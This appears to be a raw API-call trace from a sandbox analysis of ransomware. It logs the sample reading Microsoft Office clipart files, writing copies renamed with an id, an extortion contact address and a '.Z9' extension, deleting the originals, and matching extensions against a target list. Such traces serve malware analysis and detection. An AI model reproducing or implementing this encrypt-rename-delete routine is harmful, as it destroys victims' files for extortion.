	[0165.297] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0165.756] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=9318) returned 1
	[0165.756] CloseHandle (hObject=0x484) returned 1
	[0165.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220
	[0165.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.757] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.757] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0165.757] GetLastError () returned 0x0
	[0165.758] ReadFile (in: hFile=0x484, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2466, lpOverlapped=0x0) returned 1
	[0165.764] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2470, lpOverlapped=0x0) returned 1
	[0165.765] ReadFile (in: hFile=0x484, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0165.765] WriteFile (in: hFile=0x4ac, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0165.765] SetEndOfFile (hFile=0x4ac) returned 1
	[0165.765] CloseHandle (hObject=0x4ac) returned 1
	[0165.765] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.765] SetEndOfFile (hFile=0x484) returned 1
	[0165.768] CloseHandle (hObject=0x484) returned 1
	[0165.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0165.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1
	[0165.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.770] lstrlenW (lpString=".doc") returned 4
	[0165.770] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.770] lstrlenW (lpString=".docx") returned 5
	[0165.770] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0165.770] lstrlenW (lpString=".pdf") returned 4
	[0165.770] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.770] lstrlenW (lpString=".xls") returned 4
	[0165.770] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.770] lstrlenW (lpString=".xlsx") returned 5
	[0165.770] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0165.770] lstrlenW (lpString=".ppt") returned 4
	[0165.770] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.770] lstrlenW (lpString=".zip") returned 4
	[0165.770] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.770] lstrlenW (lpString=".rar") returned 4
	[0165.770] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.770] lstrlenW (lpString=".bz2") returned 4
	[0165.770] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.770] lstrlenW (lpString=".7z") returned 3
	[0165.770] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.770] lstrlenW (lpString=".dbf") returned 4
	[0165.770] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.770] lstrlenW (lpString=".1cd") returned 4
	[0165.770] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.770] lstrlenW (lpString=".jpg") returned 4
	[0165.770] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.771] lstrlenW (lpString=".doc") returned 4
	[0165.771] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0165.771] lstrlenW (lpString=".docx") returned 5
	[0165.771] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0165.771] lstrlenW (lpString=".pdf") returned 4
	[0165.771] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0165.771] lstrlenW (lpString=".xls") returned 4
	[0165.771] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0165.771] lstrlenW (lpString=".xlsx") returned 5
	[0165.771] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0165.771] lstrlenW (lpString=".ppt") returned 4
	[0165.771] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0165.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.771] lstrlenW (lpString=".zip") returned 4
	[0165.771] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0165.771] lstrlenW (lpString=".rar") returned 4
	[0165.771] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0165.771] lstrlenW (lpString=".bz2") returned 4
	[0165.771] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0165.771] lstrlenW (lpString=".7z") returned 3
	[0165.771] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0165.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.771] lstrlenW (lpString=".dbf") returned 4
	[0165.771] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0165.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.771] lstrlenW (lpString=".1cd") returned 4
	[0165.771] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0165.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0165.771] lstrlenW (lpString=".jpg") returned 4
	[0165.771] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0165.772] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0165.772] lstrlenW (lpString="GRDEN_01.MID") returned 12
	[0165.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.772] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=7567) returned 1
	[0165.772] CloseHandle (hObject=0x484) returned 1
	[0165.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220
	[0165.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0165.773] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.773] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0165.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4
	[0165.981] GetLastError () returned 0x0
	[0165.981] ReadFile (in: hFile=0x484, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0165.999] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0166.000] ReadFile (in: hFile=0x484, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.000] WriteFile (in: hFile=0x4c4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.000] SetEndOfFile (hFile=0x4c4) returned 1
	[0166.000] CloseHandle (hObject=0x4c4) returned 1
	[0166.000] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.000] SetEndOfFile (hFile=0x484) returned 1
	[0166.003] CloseHandle (hObject=0x484) returned 1
	[0166.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1
	[0166.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.004] lstrlenW (lpString=".doc") returned 4
	[0166.004] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.004] lstrlenW (lpString=".docx") returned 5
	[0166.004] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.004] lstrlenW (lpString=".pdf") returned 4
	[0166.004] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.004] lstrlenW (lpString=".xls") returned 4
	[0166.004] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.005] lstrlenW (lpString=".xlsx") returned 5
	[0166.005] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.005] lstrlenW (lpString=".ppt") returned 4
	[0166.005] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.005] lstrlenW (lpString=".zip") returned 4
	[0166.005] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.005] lstrlenW (lpString=".rar") returned 4
	[0166.005] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.005] lstrlenW (lpString=".bz2") returned 4
	[0166.005] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.005] lstrlenW (lpString=".7z") returned 3
	[0166.005] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.005] lstrlenW (lpString=".dbf") returned 4
	[0166.005] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.005] lstrlenW (lpString=".1cd") returned 4
	[0166.005] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.005] lstrlenW (lpString=".jpg") returned 4
	[0166.005] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.005] lstrlenW (lpString=".doc") returned 4
	[0166.005] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.005] lstrlenW (lpString=".docx") returned 5
	[0166.005] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.005] lstrlenW (lpString=".pdf") returned 4
	[0166.005] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.005] lstrlenW (lpString=".xls") returned 4
	[0166.005] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.005] lstrlenW (lpString=".xlsx") returned 5
	[0166.006] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.006] lstrlenW (lpString=".ppt") returned 4
	[0166.006] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.006] lstrlenW (lpString=".zip") returned 4
	[0166.006] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.006] lstrlenW (lpString=".rar") returned 4
	[0166.006] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.006] lstrlenW (lpString=".bz2") returned 4
	[0166.006] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.006] lstrlenW (lpString=".7z") returned 3
	[0166.006] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.006] lstrlenW (lpString=".dbf") returned 4
	[0166.006] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.006] lstrlenW (lpString=".1cd") returned 4
	[0166.006] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0166.006] lstrlenW (lpString=".jpg") returned 4
	[0166.006] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.006] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.006] lstrlenW (lpString="INDST_01.MID") returned 12
	[0166.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.203] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=8568) returned 1
	[0166.203] CloseHandle (hObject=0x4cc) returned 1
	[0166.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220
	[0166.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0166.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0166.210] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.210] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0166.211] GetLastError () returned 0x0
	[0166.211] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2178, lpOverlapped=0x0) returned 1
	[0166.213] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2180, lpOverlapped=0x0) returned 1
	[0166.214] ReadFile (in: hFile=0x4cc, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.214] WriteFile (in: hFile=0x4b4, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.215] SetEndOfFile (hFile=0x4b4) returned 1
	[0166.215] CloseHandle (hObject=0x4b4) returned 1
	[0166.215] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.215] SetEndOfFile (hFile=0x4cc) returned 1
	[0166.218] CloseHandle (hObject=0x4cc) returned 1
	[0166.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0166.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1
	[0166.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.219] lstrlenW (lpString=".doc") returned 4
	[0166.219] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.219] lstrlenW (lpString=".docx") returned 5
	[0166.219] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.219] lstrlenW (lpString=".pdf") returned 4
	[0166.219] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.219] lstrlenW (lpString=".xls") returned 4
	[0166.219] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.219] lstrlenW (lpString=".xlsx") returned 5
	[0166.219] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.219] lstrlenW (lpString=".ppt") returned 4
	[0166.219] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.219] lstrlenW (lpString=".zip") returned 4
	[0166.219] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.219] lstrlenW (lpString=".rar") returned 4
	[0166.219] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.219] lstrlenW (lpString=".bz2") returned 4
	[0166.219] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.219] lstrlenW (lpString=".7z") returned 3
	[0166.219] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.219] lstrlenW (lpString=".dbf") returned 4
	[0166.220] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.220] lstrlenW (lpString=".1cd") returned 4
	[0166.220] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.220] lstrlenW (lpString=".jpg") returned 4
	[0166.220] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.220] lstrlenW (lpString=".doc") returned 4
	[0166.220] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0166.220] lstrlenW (lpString=".docx") returned 5
	[0166.220] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0166.220] lstrlenW (lpString=".pdf") returned 4
	[0166.220] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0166.220] lstrlenW (lpString=".xls") returned 4
	[0166.220] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0166.220] lstrlenW (lpString=".xlsx") returned 5
	[0166.220] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0166.220] lstrlenW (lpString=".ppt") returned 4
	[0166.220] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.220] lstrlenW (lpString=".zip") returned 4
	[0166.220] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0166.220] lstrlenW (lpString=".rar") returned 4
	[0166.220] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0166.220] lstrlenW (lpString=".bz2") returned 4
	[0166.220] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0166.220] lstrlenW (lpString=".7z") returned 3
	[0166.220] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0166.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.220] lstrlenW (lpString=".dbf") returned 4
	[0166.221] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.221] lstrlenW (lpString=".1cd") returned 4
	[0166.221] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0166.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0166.221] lstrlenW (lpString=".jpg") returned 4
	[0166.221] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0166.221] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0166.221] lstrlenW (lpString="MUSIC_01.MID") returned 12
